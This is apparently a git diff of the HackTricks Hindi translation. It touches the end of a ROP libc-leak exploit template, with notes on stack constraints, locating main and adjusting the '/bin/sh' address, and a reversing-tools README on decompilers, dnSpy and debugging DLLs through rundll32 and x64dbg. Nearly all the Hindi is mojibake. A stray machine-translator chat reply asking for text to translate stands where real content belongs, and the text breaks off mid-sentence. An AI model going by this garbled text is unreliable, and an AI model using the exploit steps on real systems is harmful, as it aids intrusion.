рдЖрд╕рд╛рдиреА рд╕реЗ рдмрдЪрдиреЗ рд╡рд╛рд▓реА рд╕реАрдорд╛рдПрдБ рд╣реИрдВ рдЬреИрд╕реЗ `[rsp+0x30] == NULL`ред рдЪреВрдВрдХрд┐ рдЖрдк **RSP** рдХреЗ рдЕрдВрджрд░ рдХреЗ рдорд╛рдиреЛрдВ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рддреЗ рд╣реИрдВ, рдЗрд╕рд▓рд┐рдП рдЖрдкрдХреЛ рдХреБрдЫ рдФрд░ NULL рдорд╛рди рднреЗрдЬрдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рддрд╛рдХрд┐ рд╕реАрдорд╛ рд╕реЗ рдмрдЪрд╛ рдЬрд╛ рд╕рдХреЗред ![](<../../../../../images/image (615).png>) @@ -248,7 +248,7 @@ rop-leaking-libc-template.md ### MAIN_PLT = elf.symbols\['main'] рдирд╣реАрдВ рдорд┐рд▓рд╛ -рдпрджрд┐ "main" рдкреНрд░рддреАрдХ рдореМрдЬреВрдж рдирд╣реАрдВ рд╣реИред рддреЛ рдЖрдк рдпрд╣ рдкрддрд╛ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдореБрдЦреНрдп рдХреЛрдб рдХрд╣рд╛рдБ рд╣реИ: +рдпрджрд┐ "main" рдкреНрд░рддреАрдХ рдореМрдЬреВрдж рдирд╣реАрдВ рд╣реИред рддреЛ рдЖрдк рдореБрдЦреНрдп рдХреЛрдб рдХрд╣рд╛рдБ рд╣реИ, рдпрд╣ рдкрддрд╛ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: ```python objdump -d vuln_binary | grep "\.text" Disassembly of section .text: @@ -264,7 +264,7 @@ MAIN_PLT = 0x401080 ### `sh: 1: %s%s%s%s%s%s%s%s: рдирд╣реАрдВ рдорд┐рд▓рд╛` -рдпрджрд┐ рдЖрдк рдЗрд╕ **рддреНрд░реБрдЯрд┐** рдХреЛ рд╕рднреА **рд╢реЛрд╖рдг** рдмрдирд╛рдиреЗ рдХреЗ рдмрд╛рдж рдкрд╛рддреЗ рд╣реИрдВ: `sh: 1: %s%s%s%s%s%s%s%s: рдирд╣реАрдВ рдорд┐рд▓рд╛` +рдпрджрд┐ рдЖрдк **рд╕рднреА** рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдмрдирд╛рдиреЗ рдХреЗ рдмрд╛рдж рдпрд╣ **рддреНрд░реБрдЯрд┐** рдкрд╛рддреЗ рд╣реИрдВ: `sh: 1: %s%s%s%s%s%s%s%s: рдирд╣реАрдВ рдорд┐рд▓рд╛` рддреЛ **"/bin/sh" рдХреЗ рдкрддреЗ рд╕реЗ 64 рдмрд╛рдЗрдЯ рдШрдЯрд╛рдиреЗ** рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВ: ```python diff --git a/src/reversing/reversing-tools-basic-methods/README.md b/src/reversing/reversing-tools-basic-methods/README.md index 418188cf0..1465677c6 100644 --- a/src/reversing/reversing-tools-basic-methods/README.md +++ b/src/reversing/reversing-tools-basic-methods/README.md @@ -2,42 +2,42 @@ {{#include ../../banners/hacktricks-training.md}} -## ImGui Based Reversing tools +## ImGui рдЖрдзрд╛рд░рд┐рдд рд░рд┐рд╡рд░реНрд╕рд┐рдВрдЧ рдЯреВрд▓ -Software: +рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░: - ReverseKit: [https://github.com/zer0condition/ReverseKit](https://github.com/zer0condition/ReverseKit) -## Wasm decompiler / Wat compiler +## Wasm рдбрд┐рдХрдВрдкрд╛рдЗрд▓рд░ / Wat рдХрдВрдкрд╛рдЗрд▓рд░ -Online: +рдСрдирд▓рд╛рдЗрди: -- Use [https://webassembly.github.io/wabt/demo/wasm2wat/index.html](https://webassembly.github.io/wabt/demo/wasm2wat/index.html) to **decompile** from wasm (binary) to wat (clear text) -- Use [https://webassembly.github.io/wabt/demo/wat2wasm/](https://webassembly.github.io/wabt/demo/wat2wasm/) to **compile** from wat to wasm -- you can also try to use [https://wwwg.github.io/web-wasmdec/](https://wwwg.github.io/web-wasmdec/) to decompile +- [https://webassembly.github.io/wabt/demo/wasm2wat/index.html](https://webassembly.github.io/wabt/demo/wasm2wat/index.html) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ **decompile** рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП wasm (рдмрд╛рдЗрдирд░реА) рд╕реЗ wat (рд╕реНрдкрд╖реНрдЯ рдкрд╛рда) рдореЗрдВ +- [https://webassembly.github.io/wabt/demo/wat2wasm/](https://webassembly.github.io/wabt/demo/wat2wasm/) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ **compile** рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП wat рд╕реЗ wasm рдореЗрдВ +- рдЖрдк [https://wwwg.github.io/web-wasmdec/](https://wwwg.github.io/web-wasmdec/) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рднреА рдбрд┐рдХрдВрдкрд╛рдЗрд▓ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ -Software: +рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░: - [https://www.pnfsoftware.com/jeb/demo](https://www.pnfsoftware.com/jeb/demo) - [https://github.com/wwwg/wasmdec](https://github.com/wwwg/wasmdec) -## .NET decompiler +## .NET рдбрд┐рдХрдВрдкрд╛рдЗрд▓рд░ ### [dotPeek](https://www.jetbrains.com/decompiler/) -dotPeek рдПрдХ decompiler рд╣реИ рдЬреЛ **рдХрдИ рдкреНрд░рд╛рд░реВрдкреЛрдВ рдХреЛ decompile рдФрд░ рдЬрд╛рдВрдЪрддрд╛ рд╣реИ**, рдЬрд┐рд╕рдореЗрдВ **рд▓рд╛рдЗрдмреНрд░реЗрд░реА** (.dll), **Windows рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдлрд╝рд╛рдЗрд▓реЗрдВ** (.winmd), рдФрд░ **executables** (.exe) рд╢рд╛рдорд┐рд▓ рд╣реИрдВред рдПрдХ рдмрд╛рд░ decompiled рд╣реЛрдиреЗ рдХреЗ рдмрд╛рдж, рдПрдХ assembly рдХреЛ Visual Studio рдкреНрд░реЛрдЬреЗрдХреНрдЯ (.csproj) рдХреЗ рд░реВрдк рдореЗрдВ рд╕рд╣реЗрдЬрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред +dotPeek рдПрдХ рдбрд┐рдХрдВрдкрд╛рдЗрд▓рд░ рд╣реИ рдЬреЛ **рдХрдИ рдкреНрд░рд╛рд░реВрдкреЛрдВ рдХреЛ рдбрд┐рдХрдВрдкрд╛рдЗрд▓ рдФрд░ рдЬрд╛рдВрдЪрддрд╛ рд╣реИ**, рдЬрд┐рд╕рдореЗрдВ **рд▓рд╛рдЗрдмреНрд░реЗрд░реА** (.dll), **Windows рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдлрд╝рд╛рдЗрд▓реЗрдВ** (.winmd), рдФрд░ **рдХрд╛рд░реНрдпрдХрд╛рд░реА рдлрд╝рд╛рдЗрд▓реЗрдВ** (.exe) рд╢рд╛рдорд┐рд▓ рд╣реИрдВред рдПрдХ рдмрд╛рд░ рдбрд┐рдХрдВрдкрд╛рдЗрд▓ рд╣реЛрдиреЗ рдХреЗ рдмрд╛рдж, рдПрдХ рдЕрд╕реЗрдВрдмрд▓реА рдХреЛ Visual Studio рдкреНрд░реЛрдЬреЗрдХреНрдЯ (.csproj) рдХреЗ рд░реВрдк рдореЗрдВ рд╕рд╣реЗрдЬрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред -рдпрд╣рд╛рдБ рдХрд╛ рд▓рд╛рдн рдпрд╣ рд╣реИ рдХрд┐ рдпрджрд┐ рдПрдХ рдЦреЛрдпрд╛ рд╣реБрдЖ рд╕реНрд░реЛрдд рдХреЛрдб рдПрдХ рд╡рд┐рд░рд╛рд╕рддреА assembly рд╕реЗ рдкреБрдирд░реНрд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ, рддреЛ рдпрд╣ рдХреНрд░рд┐рдпрд╛ рд╕рдордп рдмрдЪрд╛ рд╕рдХрддреА рд╣реИред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, dotPeek decompiled рдХреЛрдб рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рдиреЗрд╡рд┐рдЧреЗрд╢рди рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдпрд╣ **Xamarin рдПрд▓реНрдЧреЛрд░рд┐рджрдо рд╡рд┐рд╢реНрд▓реЗрд╖рдг** рдХреЗ рд▓рд┐рдП рдПрдХ рдЖрджрд░реНрд╢ рдЙрдкрдХрд░рдг рдмрдирддрд╛ рд╣реИред +рдпрд╣рд╛рдБ рдХрд╛ рд▓рд╛рдн рдпрд╣ рд╣реИ рдХрд┐ рдпрджрд┐ рдПрдХ рдЦреЛрдИ рд╣реБрдИ рд╕реНрд░реЛрдд рдХреЛрдб рдХреЛ рдПрдХ рд╡рд┐рд░рд╛рд╕рддреА рдЕрд╕реЗрдВрдмрд▓реА рд╕реЗ рдкреБрдирд░реНрд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ, рддреЛ рдпрд╣ рдХреНрд░рд┐рдпрд╛ рд╕рдордп рдмрдЪрд╛ рд╕рдХрддреА рд╣реИред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, dotPeek рдбрд┐рдХрдВрдкрд╛рдЗрд▓ рдХрд┐рдП рдЧрдП рдХреЛрдб рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рдиреЗрд╡рд┐рдЧреЗрд╢рди рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдпрд╣ **Xamarin рдПрд▓реНрдЧреЛрд░рд┐рджрдо рд╡рд┐рд╢реНрд▓реЗрд╖рдг** рдХреЗ рд▓рд┐рдП рдПрдХ рдЖрджрд░реНрд╢ рдЙрдкрдХрд░рдг рдмрдирддрд╛ рд╣реИред ### [.NET Reflector](https://www.red-gate.com/products/reflector/) -рдПрдХ рд╡реНрдпрд╛рдкрдХ рдРрдб-рдЗрди рдореЙрдбрд▓ рдФрд░ рдПрдХ API рдХреЗ рд╕рд╛рде рдЬреЛ рдЙрдкрдХрд░рдг рдХреЛ рдЖрдкрдХреА рд╕рдЯреАрдХ рдЖрд╡рд╢реНрдпрдХрддрд╛рдУрдВ рдХреЗ рдЕрдиреБрд╕рд╛рд░ рд╡рд┐рд╕реНрддрд╛рд░рд┐рдд рдХрд░рддрд╛ рд╣реИ, .NET reflector рд╕рдордп рдмрдЪрд╛рддрд╛ рд╣реИ рдФрд░ рд╡рд┐рдХрд╛рд╕ рдХреЛ рд╕рд░рд▓ рдмрдирд╛рддрд╛ рд╣реИред рдЖрдЗрдП рдЗрд╕ рдЙрдкрдХрд░рдг рджреНрд╡рд╛рд░рд╛ рдкреНрд░рджрд╛рди рдХреА рдЬрд╛рдиреЗ рд╡рд╛рд▓реА рд╡рд┐рдкрд░реАрдд рдЗрдВрдЬреАрдирд┐рдпрд░рд┐рдВрдЧ рд╕реЗрд╡рд╛рдУрдВ рдХреА рдкреНрд░рдЪреБрд░рддрд╛ рдкрд░ рдПрдХ рдирдЬрд╝рд░ рдбрд╛рд▓рддреЗ рд╣реИрдВ: +рдПрдХ рд╡реНрдпрд╛рдкрдХ рдРрдб-рдЗрди рдореЙрдбрд▓ рдФрд░ рдПрдХ API рдХреЗ рд╕рд╛рде рдЬреЛ рдЙрдкрдХрд░рдг рдХреЛ рдЖрдкрдХреА рд╕рдЯреАрдХ рдЖрд╡рд╢реНрдпрдХрддрд╛рдУрдВ рдХреЗ рдЕрдиреБрд╕рд╛рд░ рд╡рд┐рд╕реНрддрд╛рд░рд┐рдд рдХрд░рддрд╛ рд╣реИ, .NET reflector рд╕рдордп рдмрдЪрд╛рддрд╛ рд╣реИ рдФрд░ рд╡рд┐рдХрд╛рд╕ рдХреЛ рд╕рд░рд▓ рдмрдирд╛рддрд╛ рд╣реИред рдЖрдЗрдП рдЗрд╕ рдЙрдкрдХрд░рдг рджреНрд╡рд╛рд░рд╛ рдкреНрд░рджрд╛рди рдХреА рдЬрд╛рдиреЗ рд╡рд╛рд▓реА рд╡рд┐рдкрд░реАрдд рдЗрдВрдЬреАрдирд┐рдпрд░рд┐рдВрдЧ рд╕реЗрд╡рд╛рдУрдВ рдХреА рднрд░рдкреВрд░рддрд╛ рдкрд░ рдПрдХ рдирдЬрд╝рд░ рдбрд╛рд▓рддреЗ рд╣реИрдВ: - рдпрд╣ рдмрддрд╛рддрд╛ рд╣реИ рдХрд┐ рдбреЗрдЯрд╛ рдПрдХ рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдпрд╛ рдШрдЯрдХ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХреИрд╕реЗ рдкреНрд░рд╡рд╛рд╣рд┐рдд рд╣реЛрддрд╛ рд╣реИ - .NET рднрд╛рд╖рд╛рдУрдВ рдФрд░ рдврд╛рдВрдЪреЛрдВ рдХреЗ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдФрд░ рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ -- APIs рдФрд░ рдкреНрд░реМрджреНрдпреЛрдЧрд┐рдХрд┐рдпреЛрдВ рдХрд╛ рдЕрдзрд┐рдХрддрдо рд▓рд╛рдн рдЙрдард╛рдиреЗ рдХреЗ рд▓рд┐рдП рдмрд┐рдирд╛ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдФрд░ рдЕрдкреНрд░рдХрд╛рд╢рд┐рдд рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдХреЛ рдЦреЛрдЬрддрд╛ рд╣реИред -- рдирд┐рд░реНрднрд░рддрд╛рдПрдБ рдФрд░ рд╡рд┐рднрд┐рдиреНрди assemblies рдХреЛ рдЦреЛрдЬрддрд╛ рд╣реИ -- рдЖрдкрдХреЗ рдХреЛрдб, рддреАрд╕рд░реЗ рдкрдХреНрд╖ рдХреЗ рдШрдЯрдХреЛрдВ, рдФрд░ рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдореЗрдВ рддреНрд░реБрдЯрд┐рдпреЛрдВ рдХреЗ рд╕рдЯреАрдХ рд╕реНрдерд╛рди рдХреЛ рдЯреНрд░реИрдХ рдХрд░рддрд╛ рд╣реИред +- APIs рдФрд░ рдкреНрд░реМрджреНрдпреЛрдЧрд┐рдХрд┐рдпреЛрдВ рдХрд╛ рдЕрдзрд┐рдХрддрдо рд▓рд╛рдн рдЙрдард╛рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдкреНрд░рд▓реЗрдЦрд┐рдд рдФрд░ рдЕрдкреНрд░рдХрдЯ рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдХреЛ рдЦреЛрдЬрддрд╛ рд╣реИред +- рдирд┐рд░реНрднрд░рддрд╛рдПрдБ рдФрд░ рд╡рд┐рднрд┐рдиреНрди рдЕрд╕реЗрдВрдмрд▓рд┐рдпреЛрдВ рдХреЛ рдЦреЛрдЬрддрд╛ рд╣реИ +- рдЖрдкрдХреЗ рдХреЛрдб, рддреГрддреАрдп-рдкрдХреНрд╖ рдШрдЯрдХреЛрдВ, рдФрд░ рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдореЗрдВ рддреНрд░реБрдЯрд┐рдпреЛрдВ рдХреЗ рд╕рдЯреАрдХ рд╕реНрдерд╛рди рдХреЛ рдЯреНрд░реИрдХ рдХрд░рддрд╛ рд╣реИред - рдЖрдк рдЬрд┐рд╕ рд╕рднреА .NET рдХреЛрдб рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рддреЗ рд╣реИрдВ, рдЙрд╕рдХреЗ рд╕реНрд░реЛрдд рдореЗрдВ рдбрд┐рдмрдЧ рдХрд░рддрд╛ рд╣реИред ### [ILSpy](https://github.com/icsharpcode/ILSpy) & [dnSpy](https://github.com/dnSpy/dnSpy/releases) @@ -45,9 +45,9 @@ dotPeek рдПрдХ decompiler рд╣реИ рдЬреЛ **рдХрдИ рдкреНрд░рд╛рд░реВрдкреЛрдВ рдХ [ILSpy plugin for Visual Studio Code](https://github.com/icsharpcode/ilspy-vscode): рдЖрдк рдЗрд╕реЗ рдХрд┐рд╕реА рднреА OS рдореЗрдВ рд░рдЦ рд╕рдХрддреЗ рд╣реИрдВ (рдЖрдк рдЗрд╕реЗ рд╕реАрдзреЗ VSCode рд╕реЗ рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, git рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИред **Extensions** рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ рдФрд░ **ILSpy** рдЦреЛрдЬреЗрдВ)ред\ рдпрджрд┐ рдЖрдкрдХреЛ **decompile**, **modify** рдФрд░ рдлрд┐рд░ рд╕реЗ **recompile** рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ, рддреЛ рдЖрдк [**dnSpy**](https://github.com/dnSpy/dnSpy/releases) рдпрд╛ рдЗрд╕рдХреЗ рдПрдХ рд╕рдХреНрд░рд┐рдп рд░реВрдк рд╕реЗ рдмрдирд╛рдП рд░рдЦреЗ рдЧрдП рдлреЛрд░реНрдХ, [**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред (**Right Click -> Modify Method** рдХрд┐рд╕реА рдлрд╝рдВрдХреНрд╢рди рдХреЗ рдЕрдВрджрд░ рдХреБрдЫ рдмрджрд▓рдиреЗ рдХреЗ рд▓рд┐рдП)ред -### DNSpy Logging +### DNSpy рд▓реЙрдЧрд┐рдВрдЧ -**DNSpy рдореЗрдВ рдХреБрдЫ рдЬрд╛рдирдХрд╛рд░реА рдХреЛ рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рд▓реЙрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП**, рдЖрдк рдЗрд╕ рд╕реНрдирд┐рдкреЗрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: +**DNSpy рдореЗрдВ рдХреБрдЫ рдЬрд╛рдирдХрд╛рд░реА рдХреЛ рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рд▓реЙрдЧ рдХрд░рдиреЗ** рдХреЗ рд▓рд┐рдП, рдЖрдк рдЗрд╕ рд╕реНрдирд┐рдкреЗрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: ```cs using System.IO; path = "C:\\inetpub\\temp\\MyTest2.txt"; @@ -63,7 +63,7 @@ DNSpy рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХреЛрдб рдХреЛ рдбрд┐рдмрдЧ рдХрд░ ```aspnet [assembly: Debuggable(DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints)] ``` -It seems like your message is incomplete. Please provide the text you would like to have translated to Hindi. +I'm sorry, but I need the content you want translated in order to assist you. Please provide the text. ``` [assembly: Debuggable(DebuggableAttribute.DebuggingModes.Default | DebuggableAttribute.DebuggingModes.DisableOptimizations | @@ -102,7 +102,7 @@ iisreset /noforce ![](<../../images/image (922).png>) -**Assembly Explorer** рдореЗрдВ рдХрд┐рд╕реА рднреА рдореЙрдбреНрдпреВрд▓ рдкрд░ рд░рд╛рдЗрдЯ-рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ рдФрд░ **Sort Assemblies** рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ: +**Assembly Explorer** рдореЗрдВ рдХрд┐рд╕реА рднреА рдореЙрдбреНрдпреВрд▓ рдкрд░ рд░рд╛рдЗрдЯ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ рдФрд░ **Sort Assemblies** рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ: ![](<../../images/image (339).png>) @@ -121,26 +121,26 @@ iisreset /noforce ![](<../../images/image (868).png>) -- **DLL** рдХреЗ рд▓рд┐рдП **рдкреИрд░рд╛рдореАрдЯрд░** рд╕реЗрдЯ рдХрд░реЗрдВ рдФрд░ рдЙрд╕ рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдЪрдпрди рдХрд░реЗрдВ рдЬрд┐рд╕реЗ рдЖрдк рдХреЙрд▓ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ: +- **DLL** рдХреЗ рд▓рд┐рдП **path** рдФрд░ рдЬрд┐рд╕ рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдЖрдк рдХреЙрд▓ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ, рдЙрд╕рдХреЗ рд╕рд╛рде **execution** рдХреЗ **parameters** рдХреЛ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░реЗрдВ: ![](<../../images/image (704).png>) -рдлрд┐рд░, рдЬрдм рдЖрдк рдбрд┐рдмрдЧрд┐рдВрдЧ рд╢реБрд░реВ рдХрд░рддреЗ рд╣реИрдВ, **рдкреНрд░рд╡рд░реНрддрди рддрдм рд░реЛрдХрд╛ рдЬрд╛рдПрдЧрд╛ рдЬрдм рдкреНрд░рддреНрдпреЗрдХ DLL рд▓реЛрдб рд╣реЛрдЧрд╛**, рдлрд┐рд░, рдЬрдм rundll32 рдЖрдкрдХреА DLL рд▓реЛрдб рдХрд░реЗрдЧрд╛ рддреЛ рдкреНрд░рд╡рд░реНрддрди рд░реЛрдХрд╛ рдЬрд╛рдПрдЧрд╛ред +рдлрд┐рд░, рдЬрдм рдЖрдк рдбрд┐рдмрдЧрд┐рдВрдЧ рд╢реБрд░реВ рдХрд░рддреЗ рд╣реИрдВ, **рдкреНрд░рд╡рд░реНрддрди рддрдм рд░реЛрдХрд╛ рдЬрд╛рдПрдЧрд╛ рдЬрдм рдкреНрд░рддреНрдпреЗрдХ DLL рд▓реЛрдб рд╣реЛрдЧрд╛**, рдлрд┐рд░, рдЬрдм rundll32 рдЖрдкрдХрд╛ DLL рд▓реЛрдб рдХрд░реЗрдЧрд╛, рддреЛ рдкреНрд░рд╡рд░реНрддрди рд░реЛрдХрд╛ рдЬрд╛рдПрдЧрд╛ред -рд▓реЗрдХрд┐рди, рдЖрдк рдЙрд╕ рдХреЛрдб рддрдХ рдХреИрд╕реЗ рдкрд╣реБрдБрдЪ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ DLL рд▓реЛрдб рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛? рдЗрд╕ рд╡рд┐рдзрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ, рдореБрдЭреЗ рдирд╣реАрдВ рдкрддрд╛ред +рд▓реЗрдХрд┐рди, рдЖрдк рдЙрд╕ DLL рдХреЗ рдХреЛрдб рддрдХ рдХреИрд╕реЗ рдкрд╣реБрдБрдЪ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рд▓реЛрдб рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛? рдЗрд╕ рд╡рд┐рдзрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ, рдореБрдЭреЗ рдирд╣реАрдВ рдкрддрд╛ред ### Using x64dbg/x32dbg - **Load rundll32** (64bits in C:\Windows\System32\rundll32.exe and 32 bits in C:\Windows\SysWOW64\rundll32.exe) -- **Command Line рдмрджрд▓реЗрдВ** (_File --> Change Command Line_) рдФрд░ DLL рдХрд╛ рдкрде рдФрд░ рдЙрд╕ рдлрд╝рдВрдХреНрд╢рди рдХреЛ рд╕реЗрдЯ рдХрд░реЗрдВ рдЬрд┐рд╕реЗ рдЖрдк рдХреЙрд▓ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii_2.dll",DLLMain +- **Command Line** (_File --> Change Command Line_) рдмрджрд▓реЗрдВ рдФрд░ DLL рдХрд╛ path рдФрд░ рдЬрд┐рд╕ рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдЖрдк рдХреЙрд▓ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ, рдЙрд╕реЗ рд╕реЗрдЯ рдХрд░реЗрдВ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii_2.dll",DLLMain - _Options --> Settings_ рдореЗрдВ рдЬрд╛рдПрдВ рдФрд░ "**DLL Entry**" рдЪреБрдиреЗрдВред -- рдлрд┐рд░ **рдкреНрд░рд╡рд░реНрддрди рд╢реБрд░реВ рдХрд░реЗрдВ**, рдбрд┐рдмрдЧрд░ рдкреНрд░рддреНрдпреЗрдХ DLL рдореБрдЦреНрдп рдкрд░ рд░реБрдХреЗрдЧрд╛, рдХрд┐рд╕реА рдмрд┐рдВрджреБ рдкрд░ рдЖрдк **рдЕрдкрдиреА DLL рдХреЗ DLL Entry рдореЗрдВ рд░реБрдХреЗрдВрдЧреЗ**ред рд╡рд╣рд╛рдВ рд╕реЗ, рдмрд╕ рдЙрди рдмрд┐рдВрджреБрдУрдВ рдХреА рдЦреЛрдЬ рдХрд░реЗрдВ рдЬрд╣рд╛рдБ рдЖрдк рдПрдХ рдмреНрд░реЗрдХрдкреЙрдЗрдВрдЯ рд░рдЦрдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВред +- рдлрд┐рд░ **execution** рд╢реБрд░реВ рдХрд░реЗрдВ, рдбрд┐рдмрдЧрд░ рдкреНрд░рддреНрдпреЗрдХ DLL рдореБрдЦреНрдп рдкрд░ рд░реБрдХреЗрдЧрд╛, рдХрд┐рд╕реА рдмрд┐рдВрджреБ рдкрд░ рдЖрдк **рдЕрдкрдиреЗ DLL рдХреЗ DLL Entry рдореЗрдВ рд░реБрдХреЗрдВрдЧреЗ**ред рд╡рд╣рд╛рдВ рд╕реЗ, рдмрд╕ рдЙрди рдмрд┐рдВрджреБрдУрдВ рдХреА рдЦреЛрдЬ рдХрд░реЗрдВ рдЬрд╣рд╛рдБ рдЖрдк рдПрдХ рдмреНрд░реЗрдХрдкреЙрдЗрдВрдЯ рд░рдЦрдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВред -рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЬрдм рдкреНрд░рд╡рд░реНрддрди рдХрд┐рд╕реА рдХрд╛рд░рдг рд╕реЗ win64dbg рдореЗрдВ рд░реБрдХрд╛ рд╣реЛрддрд╛ рд╣реИ, рддреЛ рдЖрдк **рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдЖрдк рдХрд┐рд╕ рдХреЛрдб рдореЗрдВ рд╣реИрдВ** рдЬреЛ **win64dbg рд╡рд┐рдВрдбреЛ рдХреЗ рд╢реАрд░реНрд╖ рдкрд░** рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ: +рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЬрдм win64dbg рдореЗрдВ рдХрд┐рд╕реА рдХрд╛рд░рдг рд╕реЗ рдкреНрд░рд╡рд░реНрддрди рд░реЛрдХрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдЖрдк **win64dbg рд╡рд┐рдВрдбреЛ рдХреЗ рд╢реАрд░реНрд╖ рдкрд░** рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдЖрдк **рдХрд┐рд╕ рдХреЛрдб рдореЗрдВ** рд╣реИрдВ: ![](<../../images/image (842).png>) -рдлрд┐рд░, рдЗрд╕реЗ рджреЗрдЦрддреЗ рд╣реБрдП, рдЖрдк рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдкреНрд░рд╡рд░реНрддрди рдЙрд╕ DLL рдореЗрдВ рд░реБрдХрд╛ рдерд╛ рдЬрд┐рд╕реЗ рдЖрдк рдбрд┐рдмрдЧ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВред +рдлрд┐рд░, рдЗрд╕ рдкрд░ рдирдЬрд╝рд░ рдбрд╛рд▓рддреЗ рд╣реБрдП, рдЖрдк рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдкреНрд░рд╡рд░реНрддрди рдЙрд╕ DLL рдореЗрдВ рдХрдм рд░реЛрдХрд╛ рдЧрдпрд╛ 